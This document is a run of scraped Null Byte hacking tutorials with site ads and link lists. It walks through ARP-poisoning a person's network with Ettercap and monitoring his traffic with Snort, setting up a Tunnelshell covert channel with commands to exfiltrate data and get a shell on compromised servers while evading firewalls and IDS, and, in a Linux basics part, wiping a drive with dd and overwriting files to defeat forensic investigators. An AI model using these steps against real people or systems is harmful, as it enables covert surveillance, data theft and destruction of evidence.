Edit the ConfigLike nearly all Linux-based applications, the Smartphone Pentest Framework is configured via a plain text configuration file. We need to first navigate to the directory with the framework console subdirectory:kali > cd /root/Smartphone-Pentest-Framework/frameworkconsoleAnd then open the config file with any text editor. In this case, I used Leafpad:kali > leafpad configWe will need to edit the IPADDRESS variable and the SHELLIPADDRESS variable to reflect the actual IP address of your Kali system (you can find it by typing "ifconfig").Step 10: Start the FrameworkNow, we are ready to start the Smartphone Pentest Framework. Simply type:kali > ./framework.pyAnd that should open the Framework menu, like that below.Now we are ready to start hacking smartphones!In future tutorials in this series, I will demonstrate how to use this framework to hack/exploit smartphones. So keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHow To:Links to Help You HackingNews:Here's the Phone to Get if You're a Celebrity, CEO, or Drug LordHacking Android:How to Create a Lab for Android Penetration TestingNews:Lowe's New Tango-Based App Helps Shoppers Find Products They NeedNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Owlchemy Labs ARCore Experiment Lets Android Users View a Friend's VR Experience from Their SmartphoneNews:Startup Light Field Lab Lands $28 Million in Funding from Samsung, Verizon, & Comcast for Holographic DisplaysHow To:Ingress, Google's Awesome New Mind-Hacking AR Game for Android Phones Now in Beta!News:Just A MessageNews:Jeep's New AR Experience Lets You Interact with a Car That Isn't Actually ThereHow To:Set Up a Pentesting Lab Using XAMPP to Practice Hacking Common Web ApplicationsHow To:Change Resolution & Bit Rate in Filmic Pro for High-Quality Video Up to 4K at 100 MbpsNews:Augmented Reality App Created by NYU Students Can Translate Sign Language in Real TimeNews:The Best Black Friday 2017 Deals on VR Headsets for Your SmartphoneThe Film Lab:Chroma Keying in Final Cut ProSmartphone Challenge:Edgar Choueiri's 3-Dimensional Sound LabTHE FILM LAB:Intro to Final Cut Pro - 03THE FILM LAB:Intro to Final Cut Pro - 02THE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01How To:do a dolly zoom in-camera effect shot, Sam RaimNews:DIY Lab InstrumentsNews:THE FILM LAB - Insidious Interview w/ James Wan & Leigh WhannellNews:THE FILM LAB - Make a BEST PICTURE Oscar-winnerTHE FILM LAB:Our Latest Equipment Upgrade: iPhone 4THE FILM LAB:SUMMERHOOD - Jacob Medjuck Interview #1THE FILM LAB - On Location #4:Lighting GagsNews:THE FILM LAB - Dutch TiltTHE FILM LAB - On Location #3:GripsNews:Welcome to The Film Lab!News:Virtual Labs Finding your Etsy NicheHow To:Use the New DROID Pro Smartphone by Motorola (Running Android 2.2 Froyo)How To:The Official Google+ Insider's Guide Index |
Hack Like a Pro: How to Spy on Anyone, Part 3 (Catching a Terrorist) « Null Byte :: WonderHowTo | Welcome back, my novice hackers!Previously in my "Spy on Anyone" series, we used our hacking skills toturn a target's computer system into a bug to record conversationsandfound and downloaded confidential documents on someone's computer. In this tutorial, I will show you how to spy on somebody's Internet traffic.For the sake of making things interesting, let's assume we have a suspected terrorist that we need to keep eyes on because there is reason to believe that he is planning a terrorist attack (right out of last night's news!). Our employer (presumably a law enforcement, military, or espionage agency) has asked us to spy on his Internet traffic to see whether our suspicions are true. How can we do this?Step 1: Fire Up Kali & Access His NetworkOur first step, of course, is to fire upKali, our tried and trusted hacking toolkit. In it, there are numerous hacking tools. Before we can spy on our suspect we will need to place ourselves on the same network. This can be done numerous ways.First, if he is using a wireless network, this might be the easiest. We can eithercrack his WPA2 passwordorcrack his WPS PIN. In either case, after we crack the access code, we can then log into his AP to get on the same network.Second, we could physically place ourselves by the same network at his place of employment, school, institution, etc. We could pose as a new employee, new student, repair person, etc. and gain access to the network in that way.Third, we couldhack and own his computeroranyother computer on the same network. This might be the most time consuming and difficult. In any case, I am assuming you have access to the same network as the suspect, so let's continue with this tutorial.Step 2: Conduct a MitM AttackAlthough there are numerous ways to conduct a MitM (man-in-the-middle) attack, the simplest is probably using Ettercap, which is built into Kali and has both a command line and graphical user interface. To keep things simple, let's use the GUI. We can activate the Ettercap GUI by typing:kali > ettercap -GWhen we do so, it opens a GUI like that below.Step 3: Place Ourselves in the MiddleIn the next step, we need to place ourselves in the middle between the suspect and his router. The first step to doing this is to get Ettercap to sniff on the network. Go to the "Sniff" menu and select "Unified sniffing."Select the interface you want to sniff on. If you are on a wired network, it will usually be eth0. On a wireless network, it will usually be wlan0.Step 4: Scan for HostsThe next step is to scan for hosts. This means that Ettercap will scan the network and find the IP address and MAC address of all the systems on the network. From the "Hosts" menu, select "Scan for hosts."When Ettercap is done scanning the network, we need to select the "Hosts" menu again and select "Hosts list." Ettercap will now show you all the hosts on the network with IP addresses and MAC addresses.Step 5: Start the MitM AttackSelect the "Mitm" menu at the top of the screen. It will pull down several options. Select "Arp poisoning."Next, select your targets from the list of hosts. From the "Host List" tab, select the suspect as Target 1 and the router as Target 2.Now, we have successfully placed ourselves between the suspect and his router and all of his Internet traffic is traveling through our system!Step 6: Use Snort as a Spy ToolNow that have established ourselves between the suspect and his router, all of his traffic must go through our computer. This means that we can "see" all of his traffic. We could simply sniff his traffic with sniffers such asWireshark, but that would mean tediously filtering, scanning, and saving all of his traffic to look for suspicious activity. Our task would be much simpler if we could automate this process.Snortwas originally developed as an IDS to sniff Internet traffic and search for malicious activity. It picks up every packet and inspects it, using its rule base to look for traffic that might be malicious. It does this automatically and transparently with little human intervention.Here, we will alter Snort a bit. Instead of looking for malicious traffic coming into our network, we want to look for suspicious keywords coming from or going to the suspect's machine from the Internet. If any of these words appear in his traffic, it will send us an alert.The first step is todownload Snort, if you don't already have it. It can be found in the Kali repository, so you need only type the following. (If you have a recent version of Kali, it is already on your system, and you don't need to do this.)kali > apt-get install snortThis should successfully install Snort on your system.Step 7: Set Up Snort RulesSnort uses a rule set to look for malicious traffic. In addition, Snort allows us toadd our own rules. What we will be doing here is disabling all the rules that look for malicious traffic and instead creating rules that will look for suspicious keywords that might indicate the intentions of the suspect.We need to opensnort.confin any text editor. Here I will be using Leafpad.kali > leafpad /etc/snort/snort.confWe now need to navigate to the bottom of this file and comment out all the "includes" that pertain to the rule files. In my snort.conf, the "includes" begin at Line 570 with the local rules (yours may differ slightly). This will disable all the Snort rules that come with the IDS.Go through each line except the "include local.rules" one and place a#before each include. This will make certain that only our local rules are activated and used by Snort.Step 8: Write Rules to Look for Suspicious TrafficIn our last step, we need to create Snort rules that will search the suspect's Internet traffic for keywords that would indicate his intent of some malicious activity. This may differ based upon the circumstances, but I will set up alerts for whenever the suspect sends or receives traffic that contains the words, "jihad," "ISIS," "suicide," or "bomb." Of course, these keywords can and will differ, and I use these only for demonstration purposes here.Let's open thelocal.rulesfile in Leafpad and write the rules. For information on how to write Snort rules,check out this guide.kali > leafpad /etc/snort/rules/local.rulesWhen the file opens, add the file following rules as seen in the screenshot below.Now, save the local.rules file and start Snort.kali i > snort -vde -c /etc/snort/snort.confWhenever the suspect has any Internet traffic that contains those keywords, Snort will send you an alert and log the packet so that you can go back later and examine what he was looking at.We have successfully developed a spying system that will alert us whenever our suspected terrorist sends or receives any network traffic that contains those suspicious keywords. We may have successfully saved many innocent lives, my novice hackers, by simply applying some basic hacking skills!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:News Clips - July 4How To:Prepare a survival kit for the event of a terrorist attack or catastropheHow To:Make a sneaky, snake spy camera that records videoHow To:Terrorist Cheatsheet Explains How to Avoid a Drone StrikeHow To:Force Switch to T-Mobile or Sprint on Project FiHow To:Make a motion triggered spy cameraHack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)News:Some of the World's Most Notorious Hackers Got HackedHow To:Watch This Sunday's 2013 Pro Bowl Football Game OnlineHow To:Turn Your iPhone into a Spy Camera Using Your Apple WatchHow To:Eavesdrop from a Distance with This DIY Parabolic "Spy" MicrophoneHow To:Take Slo-Mo Selfies (AKA 'Slofies') on iPhone 11, 11 Pro & 11 Pro MaxThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)The Sony Hack:Thoughts & Observations from a Real HackerHow To:Hack B29 Assault with Cheat Engine (09/23/09)How To:Catch Lake TroutHow To:The FBI Can Spy on Your Webcam Undetected: Here's How to Stop ThemNews:NYTimes Realizes That The FBI Keeps Celebrating Breaking Up Its Own TerroristNews:40 Years of NYC Being Destroyed in FilmsMinecraft Skyjacking:It's Terrorists vs. Counterterrorists in This PvP MapNews:Indie Game Mashup! DTIPBIJAYS + LSQOM = Scorpion Psychiatrists of SaturnRevealed:Hundreds of words to avoid using onlineNews:George Lucas Strikes BackNews:New cast member.How To:The Official Google+ Insider's Guide IndexHow To:Play Spy!Reel Moments:Make Time-Lapse Video on Your iPhone in Just a Few ClicksNews:John Brennan Takes over Counter - Terr. jobNews:Clinton meets with Gulf nations over missile defenseHack Like a Pro:Creating Your Own Prism ProgramNews:3 Long Awaited Indie Games at PAX That Should Be Released Already!Null Byte:Never Let Us DieNews:REVIEW - Day and KnightNews:House Approves Amendment To Limit Pentagon Drones Spying On AmericansTHE FILM LAB:Intro to Final Cut Pro - 02Edit on a Dime:The Week AheadNews:Terror suspect's eye color? Flying cameras to spy during Olympics9:fish Surfboards:Best Local Fish in LA |
Hack Like a Pro: How to Create a Nearly Undetectable Covert Channel with Tunnelshell « Null Byte :: WonderHowTo | Welcome back, my rookie hackers!Most often, the professional hacker is seeking protected information from the target system or network. This might be credit card numbers, personally identifiable information, or intellectual property (formulas, plans, blueprints, designs, etc.). Most of myNull Byte guideshave been focused on gettingintothe system, but this only begs the question—"what do I do when I get there?"If a hacker is pursuing information or data, they need a way to get the data out of the target system or network. Optimally, they want to get the data out in a way that won't be detected by the security devices or the security admins. In this tutorial, we will look at creating a covert channel that we can use to extract the data with little chance of being detected using a tool called tunnelshell.The Basics of Tunnelshell & How It WorksTunnelshell is a sweet, little program that only works on compromisedLinux/Unix servers. As many large corporate and institutional servers are running some flavor from the Unix family (AIX, HP-UX, Solaris, IRIS, Linux, etc.), there should not be a significant impediment to using tunnelshell for exfiltrating (removing) data.Of course, it won't work on extracting data from your ex-wife's or girlfriend's computer, not even a small-to-medium sized company using one of the many versions of Windows Server (2003, 2008, 2012), but it will work on the big boy servers, which is where all the valuable goodies are.It operates in the familiar client/server architecture like most Linux/Unix applications. The beauty of tunnelshell is that it will work over multiple protocols, including TCP, UDP, ICMP, and RawIP. In addition, it is able to fragment packets to get past firewalls and intrusion detection systems.In TCP and UDP modes, it does not require binding to a socket or port, so when the victim runs netsat, no open port will appear (but it will appear in the process list). In TCP mode, no three-way handshake (SYN, SYN-ACK, ACK) is executed, so no IP address will be logged.In ICMP mode, tunnelshell uses the ICMP Echo Request/Echo Reply (Type 8 and Type 0) to transport the data. Therefore, it appears to be a continuous ping running between the systems. Although many routers and firewalls block ICMP coming IN, they usually do not block ICMP going OUT as users and admins need to use ping to find active hosts.Using Tunnelshell for an Undetectable Covert ChannelUnfortunately,Kalidoes not include tunnelshell. I think you can understand that the developers of Kali could not includeallof the hacking and security tools out there. In this tutorial, I will be creating a tunnel between our Kali system and a compromised Linux system. In this case, I will useBackTrack 5v3(which is built on Ubuntu) as my victim, but any of the UNIX/Linux flavors will work as an adequate victim.Step 1: Fire Up KaliFire up Kali and let's download tunnelshell. Normally, we could use theapt-getor Kali's graphicalAdd/Remove Softwareutility, but since tunnelshell is not in Kali's repository, that's not an option. There are numerous ways we could download it, but let's use the old-fashioned way of simply going to website and downloading it.Navigate toPacket Storm Securityto download tunnelshell. Notice that it is .tgz file, which means that it is a compressed .tar file. This means that we will need to untar it and uncompress it before we can use it.In the screenshot below, I have downloaded it to BackTrack. Obviously, if this was the victim system, this would not be easiest or most stealthy way to get tunnelshell on that system. In reality, I could TFTP it from my attacking system to the victim, or if I haveMetasploit's Meterpreteron the victim, I have the built-inuploadcommand there.In the screenshot below, you can see that I have successfully downloaded tunnelshell to the victim.I need to also download it to my Kali system. I have highlighted the tunnelshell file in my root user directory. It doesn't matter what directory you put it in, just remember where you put it and run the commands from that directory.Step 2: Untar & Uncompress TunnelshellTo unpack tunnelshell, type:kali > tar xvfz tunnelshell_2.3.tgzTo compile our new tool, simply type:kali > makeStep 3: Activate Tunnelshell on the VictimNow that we have downloaded and compiled tunnelshell on the victim system, the only thing we need to do is type:kali > ./tunneldThis opens up the server on the victim system waiting for our connection from the client (the attacker). Since we did not use any switches in activating tunnelshell, it runs in the default configuration using packet fragmentation.The beauty of this default configuration is that it sends fragmented packets (packets are broken up into pieces that are reassembled at the destination—a tried and true method of evading detection) that can bypass without detection nearly every firewall and IDS.Step 4: Connect to the TunnelNow, we only need to connect to the tunnelshell daemon (a background service) on the victim. The syntax is simple, we simply type:kali > ./tunnel -t frag 192.168.89.191-t- this switch precedes thetypeof tunnelfrag- defines the type192.168.89.191- the IP address of the victim where the tunnelshell server is runningWhen we do this, tunnelshell connects, but does not give us a command prompt, but rather a blank line. We can then type any Linux command and it returns output as if we were at a Linux prompt.So, below, I typedpwd(present working directory) and it returned the directory that the tunnel is running on the victim,/tmp. When I typels -l, it provides with a long listing of the /tmp directory. I can then go ahead and type any Linux command from this shell.Step 5: Trying to Detect Tunneshell on the VictimNow that we have established a tunnel between the victim and the attacker, let's check to see whether the victim can detect our tunnel. Let's go to the victim system (in this case BackTrack on Ubuntu) and see whether, as a sysadmin, we can detect the tunnel.First, let's try netstat, which should show us all current connections to our computer. When we typenetstaton the victim, you can see many connections, but not our tunnelshell.The one weakness of tunnelshell is that unless we can embed in arootkitthat will hide its process such as with Knark, it does appear on our process list as shown below.Other ConfigurationsHere we used tunnelshell in its default configuration using packet fragmentation, but tunnelshell is also able to use ICMP, TCP, UDP and RawIP, all of which might be more useful depending upon the circumstances.ICMPTo run tunnelshell in ICMP mode, you can start the server with:./tunneld -t icmp -m echo-replyAnd the client with:./tunnel -t icmp -m echo-reply, echo <IPaddressofvictim>UDPTo run tunnelshell in UDP mode over DNS, you can start the server with:./tunneld -t udp -p 53, 2000And the client with:./tunnel -t udp -p 53, 2000 <IPaddressofvictim>TCPTo start tunnelshell in TCP mode over port 80, you can start the server with:./tunneld -t tcp -p 80, 2000And the client with:./tunnel -t tcp -p 80, 2000 <IPaddressofvictim>Keep coming back, my rookie hackers, as we explore more techniques and tools of the hacker universe!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHow To:Hack a Hard Drive into a Hidden Flash Drive, Cell Phone Charger & More!Galaxy S8 Oreo Update:Notification Channels Bring Granular Controls for AlertsHow To:Use multiple output channels in Soundtrack ProHow To:Conduct a covert surveillance with audioHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedYouTube 101:How to Manage Your NotificationsHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeNews:Apple Just Released iOS 12.3 Public Beta 1 for iPhone, Includes Updated TV App with Subscription ChannelsHow To:Conduct a covert mobile surveillanceAdobe Premiere Clip 101:Starting a Freeform Project You Can Edit YourselfHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Cut a Straight Line with a Power Saw.How To:Conduct a covert surveillance with videoHow To:Use Knoll Light Factory Pro After Effects pluginNews:Here's How the Weather Channel Is Using Augmented Reality to Make Us All SaferHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesGoodnight Byte:Hack Our IRC Bot to Issue CommandsHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Create a Multi-Channel Music Sequencer in MinecraftNews:Overhead Camera Boom Made with PVC PipeNews:Minecraft World's Weekly Workshop: Creating a Multi-Channel Music SequencerNews:A Computer Game Inside MinecraftHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?How To:Draw Ferb of Disney Channel's Phineas and FerbNews:Achieve Results YouTube ChannelHow To:Remove Gamers Unite from your Facebook AccountWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Goodnight Byte:Coding an IRC Bot in Python (For Beginners) |
Become an In-Demand Web Developer with This $29 Training « Null Byte :: WonderHowTo | Knowing just one or two programming languages is no longer sufficient if you want to make serious money in the lucrative world of web design and development. But the good news is that you don't need to spend an excessive amount of time or money on a traditional coding education to get the skills you need to thrive.TheUltimate 2020 Web Designer & Developer Bundlewill teach you everything you need to know about the world's most popular and powerful web development tools and platforms, and it's currently available for over 95% off at $29.While it has courses on becoming a programmer and developer, using Bootstrap in WordPress, and getting to know Ruby, the highlight for most Null Byte readers will probably be the in-depth courses onPython 3. Python is one of the most fundamental languages every hacker should know.With six courses and nearly 100 hours of training, this bundle is ideal for both aspiring web developers and more seasoned pros looking to expand their skill set.If you're entirely new to the field, start with theHow to Become a ProgrammerandBecome a Web Developermodules, which walk you through the fundamentals of building a website from scratch using a variety of languages and platforms including base-level HTML, CSS, and JavaScript.With the basics under your belt, you'll be able to move on to the more advanced courses in the bundle, includingBootstrap to WordPress, which teaches you how to develop custom and profitable WordPress sites; theFront End Developer Bootcampcourse, which shows you how to work with a variety of programming languages and frameworks on the front ends of your builds; and theBasics & Fundamentals of Rubycourse, which teaches you how to implement this in-demand language in multiple environments.There's also theLearn Python 3 from Beginner to Advancedcourse — a comprehensive collection of over 70 lectures that leverage hands-on examples to introduce you to one of the world's most powerful and relied-upon programming languages.Don't let your web development career suffer because you aren't up to speed with the industry's most important programming languages and tools. The Ultimate 2020 Web Designer & Developer Bundle can get you to where you need to be forjust $29— over 95% off its usual price today.Prices are subject to change.Give It a Shot:The Ultimate 2020 Web Designer & Developer Bundle for $29Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byThisisEngineering RAEng/UnsplashRelatedHow To:Become a Computer Forensics Pro with This $29 TrainingHow To:This Best-Selling Web Development Training Is on Sale for $12How To:Become an In-Demand Web Developer with This 11-Course BundleHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:This 10-Course Blockchain & Ethereum Training Is Just $29 TodayDevelopers, Take Note:The Best-Looking Android App Animations of 2013How To:Use export plug-ins in ApertureHow To:Become a Web Developer with This $30 BundleNews:New iOS Update Will Tell You More About Your iPhone's Battery Health & Turn Off SlowdownHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Learn C# & Start Designing Games & AppsDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:This Extensive Python Training Is Under $40 TodayHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:Use variables and strings when programming in Python 2How To:Start 2021 with a New Coding Career with This Ultimate Set of Web Developer CoursesNews:Still Need the Battery Replaced on Your Older iPhone? Get It Done Soon — Or It'll Cost YouNews:Google Chrome Is Nearly Ready to Become Your Virtual Reality BrowserNews:8th Wall Expands Web AR Offerings with Cloud Editor + Hosting for One-Stop DevelopmentHow To:Jobs Are Out There — Here's How to Create the Ideal RésuméNews:Unity Offers AR/VR Training for Developers Through UdacityNews:8th Wall Beats Google & Apple to Market with an AR Platform for WebHow To:Learn Java, C#, Python, Redux & More with This $40 BundleNews:Mozilla Launches WebXR Viewer iOS App to Let Developers Experiment with ARKitHow To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeHow To:Use jQuery to improve your website and businessHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35News:Blippar Bounces Back with Web-Based AR PlatformNews:Google Prepares to Ship Web-Based AR Support in Chrome 81News:ARKit App WiARframe Wants to Be the Destination for AR Prototyping & DiscoveryAngry Birds:The Big Indie Game Success StoryNews:The Basics Of Website MarketingAtomic Web:The BEST Web Browser for iOS DevicesNews:Google Chrome Web Store Gets New LookHow To:Disable & Uninstall Mozilla Firefox Add-ons (Plug-ins, Extensions & Themes)Lockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:Limbo Developer Playdead Studios Buys Its Freedom Back from Their InvestorsNews:Google+ Pro Tips Weekly Round Up: Resources for NewbiesNews:Unity3D Could Change the Gaming World Now That It Has Flash |
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 20 (Devices Files) « Null Byte :: WonderHowTo | Welcome back, my aspiring hackers!In recent tutorials, I have made reference to the name and location of theLinuxdevices in the file system, such assda(first SATA or SCSI drive). Specifically, I have mentioned the way that Linux designates hard drives when making animage of a hard drive for forensic purposes.Fundamental to understanding how to use and administer hard drives and other devices in Linux is an understanding of how Linux specifies these devices in its file system.Very often, if we are using are hard drive in a hack or inforensics, we will need to specifically address its device file name. These device file names allow the device (e.g. hard drive) to interact with system software and kernel through system calls. These files are NOT device drivers, but rather rendezvous points that are used to communicate to the drivers. Linux maintains a device file foreverydevice in the system in the/devdirectory.In this tutorial, we will examine how Linux names and interacts with the file system through the/devdirectory and its files.The /Dev DirectoryThe/devdirectory contains all the files that represent physical peripheral devices present on the system such as disk drives, terminals, and printers. The/devdirectory is directly below the/directory. If we navigate there, we will see an entry for all of our devices.kali > cd /devkali > ls -lBlock v. Character DevicesLinux makes a distinction between block and character devices. Character devices are those that stream data into and out of the machine unbuffered and directly. These would include your keyboard, mouse, tape, and monitor. Because the data is unbuffered, it tends to be a slow process.On the other hand, block devices are those that stream data into and out of the machine in buffered blocks. These include such devices as hard drives, CDs, DVDs, floppies, flash drives, etc. This data transfer tends to be much faster.Notice in the long listing of the/devdirectory that some files begin with a "c" and some with a "b". Character devices begin a with "c " and block devices begin with a "b".You will notice in the third line of the/devdirectory listing that there is directory named "block". Let's navigate there and do a long list.kali > cd /blockkali > ls -lHere we see a listing of all the block devices. In the first line we seesr0; that would be the first CD-ROM (Linux tends to begin counting at 0, not 1). Near the bottom, we seesda, sda1, sda2, sda5(yours may be different), where sda1 represents the first primary partition on the SATA drive, and sda2 represents the second primary partition on the SAME drive.Naming Conventions of Devices in LinuxOriginally, hard drives were two types, IDE or SCSI. IDE (or later, E-IDE) was designed as a low cost alternative for low cost PCs. They were relatively slow and only allowed four devices per machine. In addition, they had to be configured in a master and slave configuration. Each master and slave combination had one cable and controller.A faster, but more expensive alternative was the SCSI (Small Computer System Interface) drive. SCSI drives were (are) faster and pricier. Besides their speed advantage, they did not need a master/slave configuration, but rather were configured with a controller and a series of devices up to 15.Linux would designate IDE hard drives with anhdand SCSI hard drives with ansd. In recent years, with the development and proliferation of SATA drives, we see that Linux designates these drives withsd, just like SCSI drives.The first IDE drive was designated with anhda, the secondhdb, the thirdhdc, and so on. The same happens with SCSI and now SATA drives; the first is designated withsda, the secondsdb, the thirdsdc, and so on.Some other devices files include:/dev/usb- USB devices/dev/lp- parallel port printer/dev/tty- local terminal/dev/fd- floppy drive (does anyone still use floppies?)Logical vs. Physical Partitions of Hard DrivesLinux is able to recognize four (4) primary hard drive partitions per operating system. This doesn't limit us to four hard drives or four partitions as we can also use logical or extended partitions. We can have up to 15 logical or extended partitions per disk and each of these partitions acts as its own hard drive and operates just as fast as a primary partition.The first primary partition in Linux with a SATA drive would besda1, the secondsda2, the thirdsda3, and the fourthsda4. Beyond these primary partitions, we can still partition the drive, but they are now logical partitions. The first logical partition would besda5with a SATA drive. This can then be followed by 14 more logical drives, if needed, with the last logical drive on the first SATA drive beingsda19(4 primary and 15 logical partitions).In Linux, we generally have a separate partition for swap space. Swap space is that area of the hard drive that is used as virtual memory. This means that when we run out of memory (RAM) for a particular process or application, the operating system will then use this hard drive space as if it were RAM, but obviously, much slower (about 1,000x slower).Special DevicesLinux has a number of special device files. This is a list of a few of the most important special device files./dev/nullThis device is a data sink or "bit bucket". It makes data disappear. If you redirect output to this device it will disappear. If you read from/dev/null, you will get a null string. If I wanted to wipe a drive clean, deleting all the data, I could use:dd if=/dev/null of=/dev/sda/dev/zeroThis device can be used as an input file to provide as many null bytes (0x00) as necessary. It is often used to initialize a file or hard drive./dev/ fullThis device is a special file that always returns the "device full" error. Usually, it is used to test how a program reacts to a "disk full" error. It is also able to provide an infinite number of null byte characters to any process for testing./dev/randomThis device can be used as an input to fill a file or partition with random, or more precisely, pseudo-random data. I might use this to overwrite a file or partition to make it much harder to recover deleted files by a forensic investigator.It's almost impossible to remove evidence of a file from recovery by a skilled forensic investigator with unlimited time and money. Since few forensic investigators have the skill or the time or the money, this technique will inhibit most forensic investigations.To do this, we can use theddcommand. For instance:dd if=/dev/random of=evidencefile bs=1 count=1024I hope this sheds some light on this relatively foreign concept—native to Linux—that Windows users often struggle with. For more guides on Linux, check out all of my pastLinux Basicsguides, and keep a lookout for more to come.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Use Cygwin to Run Linux Apps on WindowsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker Training |
